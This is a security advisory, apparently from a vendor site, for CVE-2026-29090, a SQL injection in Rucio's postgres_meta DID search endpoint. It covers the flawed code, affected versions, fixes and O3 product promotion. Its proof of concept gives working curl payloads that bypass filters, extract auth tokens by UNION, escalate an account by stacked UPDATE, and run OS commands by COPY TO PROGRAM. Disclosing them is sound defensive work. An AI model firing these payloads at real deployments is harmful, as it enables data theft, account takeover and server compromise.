CVE-2026-29090 — rucio
CVE-2026-29090 is a SQL Injection vulnerability in rucio. A fix is available for rucio — see the affected versions and patch details below.
Rucio SQL injection in postgres_meta DID search path compromises PostgreSQL metadata database
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29090.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
rucio🐍rucio🐍rucio🐍rucioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A SQL injection vulnerability in FilterEngine.create_postgres_query allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (GET /dids/<scope>/dids/search). When the external metadata plugin postgres_meta is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python str.format. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via COPY ... FROM PROGRAM.
Details
The vulnerability exists in lib/rucio/core/did_meta_plugins/filter_engine.py within the create_postgres_query() method (lines 408-484). This method builds raw SQL strings via Python .format() across 6 distinct injection points:
filter_engine.py:477 (string equality — default branch):
expression = "{}->>'{}' {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
filter_engine.py:442 (wildcard/LIKE branch):
expression = "{}->>'{}' LIKE '{}' ".format(jsonb_column, key, value.replace('*', '%'))
filter_engine.py:456 (boolean branch — value unquoted):
expression = "({}->>'{}' )::boolean {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
filter_engine.py:462 (numeric branch — value unquoted):
expression = "({}->>'{}' )::float {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
filter_engine.py:472 (datetime branch):
expression = "({}->>'{}' )::timestamp {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)
filter_engine.py:479 (non-JSONB column fallback):
expression = "{} {} '{}'".format(key, POSTGRES_OP_MAP[oper], value)
Both key and value are attacker-controlled strings derived from HTTP query parameters. The resulting expression string is concatenated into a larger query string (postgres_query_str) that is then passed to psycopg3's sql.SQL():
# postgres_meta.py:314-316
statement = sql.SQL("SELECT * FROM {} WHERE {} {}").format(
sql.Identifier(self.table),
sql.SQL(postgres_query_str), # <-- UNSANITIZED user-derived string
sql.SQL("LIMIT {}").format(sql.Literal(limit)) if limit else sql.SQL("")
)
sql.SQL() wraps the string as a trusted SQL syntax fragment — it does not escape or parameterize its contents. The statement is then executed via cur.execute(statement) at postgres_meta.py:321.
Why no existing defense blocks this
The data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:
-
HTTP input (
dids.py:265-274): Filter keys and values are accepted from query parameters viaast.literal_eval()or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (type,limit,long,recursive). -
Plugin routing (
did_meta_plugins/__init__.py:227-248): Each filter key is checked viamanages_key().postgres_meta.manages_key()unconditionally returnsTrue(line 345) — it accepts ANY filter key without validation. -
FilterEngine initialization: The
postgres_metaplugin instantiatesFilterEnginewithstrict_coerce=False. Unknown keys pass through_coerce_filter_word_to_model_attribute()as raw strings. -
Value typecasting (
filter_engine.py:275-297):_try_typecast_string()attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged. -
Sanity checks (
filter_engine.py:149-190):_sanity_check_translated_filters()does not validate arbitrary key names or values for SQL-unsafe characters. -
SQL construction (
filter_engine.py:442-479): The unsanitized key and value strings are interpolated directly into raw SQL strings via.format(). -
SQL execution (
postgres_meta.py:316,321): The raw string is wrapped insql.SQL()(treated as trusted SQL) and executed viacur.execute().
PoC
Prerequisites:
- A Rucio instance using PostgreSQL as the database backend
- The
postgres_metametadata plugin explicitly configured (this is NOT the default — the default isjson_meta) - Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)
1. Obtain an authentication token
TOKEN=$(curl -s -k \
-H 'X-Rucio-Account: testuser' \
-H 'X-Rucio-Username: testuser' \
-H 'X-Rucio-Password: testpass' \
'https://rucio.example.org/auth/userpass' \
-D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')
2. Value injection — boolean-based filter bypass
# postgres_meta uses create_postgres_query() -> raw string formatting
# filter_engine.py:477: "{}->>'{}' {} '{}'".format(jsonb_column, key, op, value)
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"
# URL-decoded: custom_key=x' OR '1'='1
#
# Generated SQL fragment:
# data->>'custom_key' = 'x' OR '1'='1'
#
# Effect: WHERE clause always true, returns all rows
3. Key injection via query parameter name
# The key is single-quoted but unescaped — injection via closing quote.
# filter_engine.py:477: "{}->>'{}' {} '{}'".format(jsonb_column, key, op, value)
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"
# URL-decoded: key = x' OR 1=1-- , value = anything
#
# Generated SQL fragment:
# data->>'x' OR 1=1-- ' = 'anything'
# ^^^^^^^^ injected, -- comments out the rest
4. UNION-based data extraction
# Extract auth tokens from the tokens table.
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"
# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
#
# Effect: Appends tokens table contents to the result set
5. Stacked queries — data modification
# PostgreSQL supports multiple statements separated by ;
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--"
# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --
6. Remote code execution (if database user has superuser privileges)
# PostgreSQL COPY ... FROM PROGRAM executes OS commands
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
"https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--"
# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --
# Requires: database user with pg_execute_server_program or superuser role
7. Alternative entry via filters query parameter
# The filters parameter accepts Python literal syntax via ast.literal_eval().
curl -s -k \
-H "X-Rucio-Auth-Token: $TOKEN" \
-H "Accept: application/x-json-stream" \
'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'
# URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}]
Impact
Vulnerability type: SQL Injection (CWE-89)
CVSS v3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Who is impacted:
- Rucio deployments that have explicitly configured the
postgres_metametadata plugin.
What an attacker can do:
- Data modification: PostgreSQL stacked queries enable arbitrary
INSERT/UPDATE/DELETEoperations. - Remote code execution: Via PostgreSQL's
COPY ... FROM PROGRAMif the database user has superuser orpg_execute_server_programprivileges. - File system access: Via
COPY ... TO/FROM '/path'if filesystem permissions allow.
Further elevation when the same postgres database and access is used for metadata and for Rucio itself
- Full database read access: Extract any table including
identities(password hashes and salts),tokens(active authentication sessions),accounts(user enumeration),rse_settings(storage endpoint credentials), andrules(data management policies) could be extracted. - Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
- Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking.
Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | rucio | ≥ 1.30.0&&< 35.8.5 | 35.8.5pip install --upgrade 'rucio==35.8.5' |
| 🐍PyPI | rucio | ≥ 36.0.0&&< 38.5.5 | 38.5.5pip install --upgrade 'rucio==38.5.5' |
| 🐍PyPI | rucio | ≥ 39.0.0&&< 39.4.2 | 39.4.2pip install --upgrade 'rucio==39.4.2' |
| 🐍PyPI | rucio | ≥ 40.0.0&&< 40.1.1 | 40.1.1pip install --upgrade 'rucio==40.1.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rucio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update rucio to 35.8.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29090 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29090 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-29090. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-29090 in your dependencies?
O3 Security finds CVE-2026-29090 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.